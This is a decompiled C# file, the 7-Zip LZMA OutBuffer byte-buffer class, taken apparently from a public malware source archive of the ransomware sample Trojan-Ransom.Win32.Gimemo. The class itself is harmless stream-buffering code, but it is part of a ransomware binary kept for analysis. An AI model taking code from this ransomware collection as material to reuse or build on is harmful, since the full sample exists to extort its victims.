MalwareSourceCode/MSIL/Trojan-Ransom/Win32/G/Trojan-Ransom.Win32.Gimemo.ayt-624a52079bf1703bcd3bcc9d2d3716b6126fd05655e25289d19142f9aae02eb5/Buffer/OutBuffer.cs

59 lines
1.5 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: SevenZip.Buffer.OutBuffer
// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 7BE4E538-8555-4C2E-974B-99E556F5462C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Ransom.Win32.Gimemo.ayt-624a52079bf1703bcd3bcc9d2d3716b6126fd05655e25289d19142f9aae02eb5.exe
using System;
using System.IO;
namespace SevenZip.Buffer
{
public class OutBuffer
{
private byte[] m_Buffer;
private uint m_Pos;
private uint m_BufferSize;
private Stream m_Stream;
private ulong m_ProcessedSize;
public OutBuffer(uint bufferSize)
{
this.m_Buffer = new byte[(IntPtr) bufferSize];
this.m_BufferSize = bufferSize;
}
public void SetStream(Stream stream) => this.m_Stream = stream;
public void FlushStream() => this.m_Stream.Flush();
public void CloseStream() => this.m_Stream.Close();
public void ReleaseStream() => this.m_Stream = (Stream) null;
public void Init()
{
this.m_ProcessedSize = 0UL;
this.m_Pos = 0U;
}
public void WriteByte(byte b)
{
this.m_Buffer[(IntPtr) this.m_Pos++] = b;
if (this.m_Pos < this.m_BufferSize)
return;
this.FlushData();
}
public void FlushData()
{
if (this.m_Pos == 0U)
return;
this.m_Stream.Write(this.m_Buffer, 0, (int) this.m_Pos);
this.m_Pos = 0U;
}
public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos;
}
}